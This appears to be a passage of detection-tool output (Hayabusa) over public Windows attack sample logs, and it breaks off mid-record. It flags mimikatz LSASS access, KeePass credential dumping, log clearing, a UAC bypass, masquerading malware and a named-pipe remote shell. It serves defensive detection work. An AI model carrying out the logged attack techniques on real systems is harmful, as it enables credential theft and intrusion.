+09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\system32\wbem\unsecapp.exe -Embedding : Path: C:\Windows\System32\wbem\unsecapp.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-19 01:55:44.045 +09:00,IEWIN7,1,informational,Process Creation,"Command: sysmon -c sysmonconfig-18-apr-2019.xml : Path: C:\Users\IEUser\Desktop\Sysmon.exe : User: IEWIN7\IEUser : Parent Command: ""cmd.exe"" /s /k pushd ""C:\Users\IEUser\Desktop""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-19 01:56:08.370 +09:00,IEWIN7,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-19 01:56:08.370 +09:00,IEWIN7,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1086,technique_name=PowerShell : Command: Powershell : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: IEWIN7\IEUser : Parent Command: ""cmd.exe"" /s /k pushd ""C:\Users\IEUser\Desktop""",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-19 01:56:24.893 +09:00,IEWIN7,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-19 01:56:24.893 +09:00,IEWIN7,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-19 01:56:24.893 +09:00,IEWIN7,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1033,technique_name=System Owner/User Discovery : Command: ""C:\Windows\system32\whoami.exe"" /user : Path: C:\Windows\System32\whoami.exe : User: IEWIN7\IEUser : Parent Command: Powershell",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-19 01:57:04.681 +09:00,IEWIN7,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1088,technique_name=Bypass User Account Control : Command: ""C:\Windows\system32\mmc.exe"" ""C:\Windows\system32\eventvwr.msc"" : Path: C:\Windows\System32\mmc.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\eventvwr.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-19 01:58:14.811 +09:00,IEWIN7,10,high,Suspicious GrantedAccess Flags on LSASS Access,,rules/sigma/process_access/win_susp_proc_access_lsass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-19 01:58:14.811 +09:00,IEWIN7,10,high,Accessing WinAPI in PowerShell for Credentials Dumping,,rules/sigma/sysmon/sysmon_accessing_winapi_in_powershell_credentials_dumping.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-19 01:58:14.811 +09:00,IEWIN7,10,high,Mimikatz Detection LSASS Access,,rules/sigma/deprecated/sysmon_mimikatz_detection_lsass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-19 02:00:09.977 +09:00,IEWIN7,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-19 02:00:09.977 +09:00,IEWIN7,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-19 02:00:09.977 +09:00,IEWIN7,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1033,technique_name=System Owner/User Discovery : Command: ""C:\Windows\system32\whoami.exe"" /user : Path: C:\Windows\System32\whoami.exe : User: IEWIN7\IEUser : Parent Command: Powershell",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-19 02:01:35.720 +09:00,IEWIN7,10,high,Suspicious GrantedAccess Flags on LSASS Access,,rules/sigma/process_access/win_susp_proc_access_lsass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-19 02:01:35.720 +09:00,IEWIN7,10,high,Accessing WinAPI in PowerShell for Credentials Dumping,,rules/sigma/sysmon/sysmon_accessing_winapi_in_powershell_credentials_dumping.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-19 02:01:35.720 +09:00,IEWIN7,10,high,Mimikatz Detection LSASS Access,,rules/sigma/deprecated/sysmon_mimikatz_detection_lsass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-28 00:57:53.368 +09:00,IEWIN7,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1036,technique_name=Masquerading : Command: ""C:\Users\IEUser\Downloads\Flash_update.exe"" : Path: C:\Users\IEUser\Downloads\Flash_update.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/DE_timestomp_and_dll_sideloading_and_RunPersist.evtx +2019-04-28 00:57:53.368 +09:00,IEWIN7,1,medium,Suspicious File Characteristics Due to Missing Fields,,rules/sigma/process_creation/win_susp_file_characteristics.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/DE_timestomp_and_dll_sideloading_and_RunPersist.evtx +2019-04-28 00:57:53.837 +09:00,IEWIN7,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1036,technique_name=Masquerading : Command: ""C:\Users\IEUser\AppData\Roaming\NvSmart.exe"" : Path: C:\Users\IEUser\AppData\Roaming\NvSmart.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Users\IEUser\Downloads\Flash_update.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/DE_timestomp_and_dll_sideloading_and_RunPersist.evtx +2019-04-28 00:57:53.884 +09:00,IEWIN7,13,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/DE_timestomp_and_dll_sideloading_and_RunPersist.evtx +2019-04-28 00:57:53.884 +09:00,IEWIN7,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/DE_timestomp_and_dll_sideloading_and_RunPersist.evtx +2019-04-28 00:57:53.931 +09:00,IEWIN7,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1059,technique_name=Command-Line Interface : Command: cmd.exe /A : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Users\IEUser\AppData\Roaming\NvSmart.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/DE_timestomp_and_dll_sideloading_and_RunPersist.evtx +2019-04-28 00:57:53.931 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/DE_timestomp_and_dll_sideloading_and_RunPersist.evtx +2019-04-28 00:57:54.134 +09:00,IEWIN7,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1059,technique_name=Command-Line Interface : Command: ""C:\Windows\System32\cmd.exe"" /c del /q ""C:\Users\IEUser\Downloads\Flash_update.exe"" : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Users\IEUser\Downloads\Flash_update.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/DE_timestomp_and_dll_sideloading_and_RunPersist.evtx +2019-04-28 03:47:00.046 +09:00,IEWIN7,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1036,technique_name=Masquerading : Command: KeeFarce.exe : Path: C:\Users\Public\KeeFarce.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_keefarce_keepass_credump.evtx +2019-04-28 03:47:00.046 +09:00,IEWIN7,1,high,Execution from Suspicious Folder,,rules/sigma/process_creation/win_susp_execution_path.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_keefarce_keepass_credump.evtx +2019-04-28 03:55:04.710 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_keepass_KeeThief_Get-KeePassDatabaseKey.evtx +2019-04-28 03:55:04.710 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_keepass_KeeThief_Get-KeePassDatabaseKey.evtx +2019-04-28 03:55:04.980 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_keepass_KeeThief_Get-KeePassDatabaseKey.evtx +2019-04-28 03:55:04.980 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_keepass_KeeThief_Get-KeePassDatabaseKey.evtx +2019-04-28 04:27:55.274 +09:00,IEWIN7,1102,high,Security log was cleared,User: IEUser,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_chrome_firefox_opera_4663.evtx +2019-04-28 06:04:25.733 +09:00,DESKTOP-JR78RLP,104,high,System log file was cleared,User: jwrig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/DeepBlueCLI/disablestop-eventlog.evtx +2019-04-28 06:06:49.341 +09:00,DESKTOP-JR78RLP,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/disablestop-eventlog.evtx +2019-04-28 06:06:49.341 +09:00,DESKTOP-JR78RLP,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/disablestop-eventlog.evtx +2019-04-29 01:29:42.988 +09:00,IEWIN7,10,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/process_suspend_sysmon_10_ga_800.evtx +2019-04-29 01:29:42.988 +09:00,IEWIN7,10,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/process_suspend_sysmon_10_ga_800.evtx +2019-04-30 05:59:14.447 +09:00,IEWIN7,18,critical,Malicious Named Pipe,,rules/sigma/pipe_created/sysmon_mal_namedpipes.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/lm_sysmon_18_remshell_over_namedpipe.evtx +2019-04-30 05:59:21.539 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -s -NoLogo -NoProfile : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/lm_sysmon_18_remshell_over_namedpipe.evtx +2019-04-30 05:59:21.539 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/lm_sysmon_18_remshell_over_namedpipe.evtx +2019-04-30 05:59:21.539 +09:00,IEWIN7,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/lm_sysmon_18_remshell_over_namedpipe.evtx +2019-04-30 05:59:22.144 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\whoami.exe"" /all : Path: C:\Windows\System32\whoami.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -s -NoLogo -NoProfile",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/lm_sysmon_18_remshell_over_namedpipe.evtx +2019-04-30 05:59:22.144 +09:00,IEWIN7,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/lm_sysmon_18_remshell_over_namedpipe.evtx +2019-04-30 05:59:22.144 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/lm_sysmon_18_remshell_over_namedpipe.evtx +2019-04-30 05:59:22.144 +09:00,IEWIN7,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/lm_sysmon_18_remshell_over_namedpipe.evtx +2019-04-30 05:59:55.472 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\System32\slui.exe -Embedding : Path: C:\Windows\System32\slui.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/lm_sysmon_18_remshell_over_namedpipe.evtx +2019-04-30 16:23:00.883 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.899 +09:00,IEWIN7,10,high,Suspicious GrantedAccess Flags on LSASS Access,,rules/sigma/process_access/win_susp_proc_access_lsass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.899 +09:00,IEWIN7,10,high,Credentials Dumping Tools Accessing LSASS Memory,,rules/sigma/process_access/sysmon_cred_dump_lsass_access.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.899 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.899 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.899 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.899 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.899 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.899 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.899 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.899 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.899 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.899 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.899 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.899 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.899 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.899 +09:00,IEWIN7,10,high,Mimikatz Detection LSASS Access,,rules/sigma/deprecated/sysmon_mimikatz_detection_lsass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.914 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.930 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.930 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.930 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.930 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.930 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_meterpreter_ps_cmd_process_listing_sysmon_10.evtx +2019-04-30 16:23:00.930 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module 